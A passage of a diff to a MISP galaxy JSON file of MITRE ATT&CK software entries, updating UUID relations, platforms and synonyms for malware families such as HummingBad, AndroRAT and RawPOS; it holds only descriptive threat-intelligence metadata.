"dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "f74a5069-015d-4404-83ad-5ca01056c0dc", - "value": "Lizar - S0681" - }, { "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "meta": { @@ -35632,103 +34391,6 @@ "uuid": "5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "value": "PUNCHBUGGY - S0196" }, - { - "description": "[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)", - "meta": { - "external_id": "S0691", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0691", - "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe" - ], - "synonyms": [ - "Neoichor" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "4d7bf2ac-f953-4907-b114-be44dc174d67", - "value": "Neoichor - S0691" - }, { "description": "[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", "meta": { @@ -36769,9 +35431,15 @@ "description": "[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)", "meta": { "external_id": "S0322", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/", "https://attack.mitre.org/software/S0322" + ], + "synonyms": [ + "HummingBad" ] }, "related": [ @@ -36783,7 +35451,7 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -36795,6 +35463,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4", @@ -36990,13 +35665,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69", "tags": [ @@ -37005,7 +35673,21 @@ "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37025,13 +35707,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -37040,7 +35715,7 @@ "type": "uses" }, { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37054,7 +35729,14 @@ "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37068,14 +35750,28 @@ "type": "uses" }, { - "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37115,7 +35811,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0522", - "https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks", "https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html" ], "synonyms": [ @@ -37125,28 +35820,28 @@ }, "related": [ { - "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37160,14 +35855,35 @@ "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37181,7 +35897,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37194,13 +35910,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -37209,7 +35918,7 @@ "type": "uses" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37299,13 +36008,6 @@ ], "type": "uses" }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -37334,13 +36036,6 @@ ], "type": "uses" }, - { - "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", "tags": [ @@ -37348,13 +36043,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -37411,13 +36099,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -37718,14 +36399,20 @@ "description": "[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)", "meta": { "external_id": "S0292", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0292", "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "synonyms": [ + "AndroRAT" ] }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37738,6 +36425,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "80447111-8085-40a4-a052-420926091ac6", "tags": [ @@ -37753,14 +36447,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37795,13 +36482,6 @@ ], "type": "uses" }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -37906,6 +36586,13 @@ ] }, "related": [ + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6e0545df-8df6-4990-971c-e96c4c60d561", "tags": [ @@ -37920,26 +36607,19 @@ ], "type": "uses" }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "d1c600f8-0fb6-4367-921b-85b71947d950", @@ -38045,13 +36725,6 @@ ] }, "related": [ - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -38059,13 +36732,6 @@ ], "type": "uses" }, - { - "dest-uuid": "51636761-2e35-44bf-9e56-e337adf97174", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", "tags": [ @@ -38073,6 +36739,20 @@ ], "type": "uses" }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -38081,14 +36761,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38107,6 +36787,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "108b2817-bc01-404e-8e1b-8cdeec846326", @@ -38373,13 +37067,6 @@ ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -38388,14 +37075,7 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38429,6 +37109,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -38437,7 +37124,21 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38458,14 +37159,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38638,14 +37332,21 @@ "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38659,14 +37360,21 @@ "type": "uses" }, { - "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38686,13 +37394,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -38701,7 +37402,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -38848,9 +37556,15 @@ "description": "[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)", "meta": { "external_id": "S0325", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0325", "https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/" + ], + "synonyms": [ + "Judy" ] }, "related": [ @@ -38862,7 +37576,7 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39404,21 +38118,7 @@ }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39432,7 +38132,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -39910,7 +38617,7 @@ "value": "GravityRAT - S0237" }, { - "description": "[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)", "meta": { "external_id": "S0372", "mitre_platforms": [ @@ -40050,13 +38757,6 @@ ] }, "related": [ - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -40071,6 +38771,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -40093,14 +38800,14 @@ "type": "uses" }, { - "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -40587,10 +39294,16 @@ "description": "[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)", "meta": { "external_id": "S0293", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/", "https://attack.mitre.org/software/S0293", "https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/" + ], + "synonyms": [ + "BrainTest" ] }, "related": [ @@ -40601,13 +39314,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -40616,7 +39322,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -40845,13 +39558,6 @@ ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -40867,14 +39573,14 @@ "type": "uses" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -40893,6 +39599,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "35aae10a-97c5-471a-9c67-02c231a7a31a", @@ -41129,6 +39842,20 @@ ] }, "related": [ + { + "dest-uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -41137,14 +39864,7 @@ "type": "uses" }, { - "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41158,21 +39878,7 @@ "type": "uses" }, { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -41184,6 +39890,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f082fc59-0317-49cf-971f-a1b6296ebb52", @@ -42112,13 +40832,6 @@ ] }, "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": 